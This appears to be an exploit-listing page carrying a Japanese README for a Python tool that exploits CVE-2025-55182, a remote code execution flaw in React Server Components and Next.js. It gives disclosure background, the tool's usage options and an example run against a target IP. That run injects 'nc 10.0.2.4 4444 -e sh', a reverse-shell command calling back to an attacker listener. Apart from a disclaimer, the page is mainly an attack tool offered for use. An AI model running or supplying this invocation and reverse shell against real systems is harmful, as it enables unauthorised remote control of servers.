## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-INDUSTRI4L-H3LL-XPL0IT3RS-CVE-2025-55182-REACT2SHELL
# CVE-2025-55182-React2Shell
作者: infrar3d
React.jsのサーバーサイド使用に影響する重大度10.0の深刻な脆弱性で、React.jsではCVE-2025-55182、Next.jsフレームワークではCVE-2025-66478として追跡されています。
この脆弱性は、2025年11月29日PTにLachlan Davidson氏によってMetaチームに責任を持って**開示されました** 。最初の開示とパッチリリースは、2025年12月3日PTにReactおよびVercelによって行われました。(原文:https://react2shell.com/)
### 使用方法:
root@kitploit:~
python3 CVE-2025-55182.py --help
usage: python CVE-2025-55182.py -u <URL> [-c COMMAND]
CVE-2025-55182 - React Server Components RCE Exploit
options:
-h, --help show this help message and exit
-u, --url URL Target URL (required)
-c, --command COMMAND
Command to execute on target (default: id)
Example: python CVE-2025-55182.py -u http://target.com -c "whoami"
### 例(HTBタスクでテスト済み):
root@kitploit:~
python3 CVE-2025-55182.py -u http://154.57.164.73:30507 -c "nc 10.0.2.4 4444 -e sh"
### ⚠️ 免責事項 ⚠️
本ソフトウェアおよび概念実証コードは、**教育および研究目的のみ** に提供されています。
* 作者は、本プログラムの誤用または損害について**一切の責任を負いません** 。
* 明示的な**事前許可** なくシステムに対して**使用しないでください** 。
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